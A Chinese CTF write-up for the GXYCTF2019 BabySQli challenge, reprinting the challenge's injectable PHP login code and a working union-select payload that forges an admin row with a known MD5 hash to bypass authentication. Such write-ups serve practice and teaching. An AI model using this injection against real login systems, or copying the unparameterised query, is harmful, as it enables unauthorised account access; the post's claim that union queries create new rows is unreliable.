zoukankan      html  css  js  c++  java
  • 刷题[GXYCTF2019]BabySQli

    解题思路

    只有一个登陆框,查看源码,链接到search.php后发现注释中有这样一段内容

    MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

    base64,md5都不对,尝试一下,base32,解码发现是base64,再解码

    select * from user where username = '$name'

    fuzz

    fuzz一下看禁了什么

    order,等于号,or,括号都被禁了。

    告诉是数字型的,先猜字段,4回显错误,3正确,证明字段是三,一般的话,就是id,username,password了

    这里没思路了,buu给了源码,看下源码

    代码审计

    <?php
    require "config.php";
    require "flag.php";
    
    // 去除转义
    if (get_magic_quotes_gpc()) {
    	function stripslashes_deep($value)
    	{
    		$value = is_array($value) ?
    		array_map('stripslashes_deep', $value) :
    		stripslashes($value);
    		return $value;
    	}
    
    	$_POST = array_map('stripslashes_deep', $_POST);
    	$_GET = array_map('stripslashes_deep', $_GET);
    	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
    }
    
    mysqli_query($con,'SET NAMES UTF8');
    $name = $_POST['name'];
    $password = $_POST['pw'];
    $t_pw = md5($password);
    $sql = "select * from user where username = '".$name."'";
    // echo $sql;
    $result = mysqli_query($con, $sql);
    
    
    if(preg_match("/(|)|=|or/", $name)){
    	die("do not hack me!");
    }
    else{
    	if (!$result) {
    		printf("Error: %s
    ", mysqli_error($con));
    		exit();
    	}
    	else{
    		// echo '<pre>';
    		$arr = mysqli_fetch_row($result);
    		// print_r($arr);
    		if($arr[1] == "admin"){
    			if(md5($password) == $arr[2]){
    				echo $flag;
    			}
    			else{
    				die("wrong pass!");
    			}
    		}
    		else{
    			die("wrong user!");
    		}
    	}
    }
    
    ?>
    

    其中这一句

    if($arr[1] == "admin"){
    			if(md5($password) == $arr[2]){
    				echo $flag;
    

    如果以admin登陆成功即获得flag。

    登陆

    好歹自己也学了数据库课,听了。确实是有这么个东西,想到联合查询数据库时,如果查询没有此数据则会创建新数据,我们这里尝试创建admin

    0' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#

    这里密码是md5的123456

    密码处即是123456,登陆成功,获得flag

    总结思路

    一般的联合注入,通过联合注入登陆成功

    知识点

    • sql注入
  • 相关阅读:
    二、线程的生命周期
    一、多线程基础
    Java中的三种代理模式(转载)
    SpringBoot+Thymeleaf实现国际化
    Centos7设置Jar包开机自启动
    Centos7安装及卸载RabbitMQ
    Nacos无法读取配置中心数据
    解决SSH连接Linux系统特别慢的问题
    KMP字符串匹配算法
    格雷厄姆扫描法解凸壳问题
  • 原文地址:https://www.cnblogs.com/karsa/p/13431657.html
Copyright © 2011-2022 走看看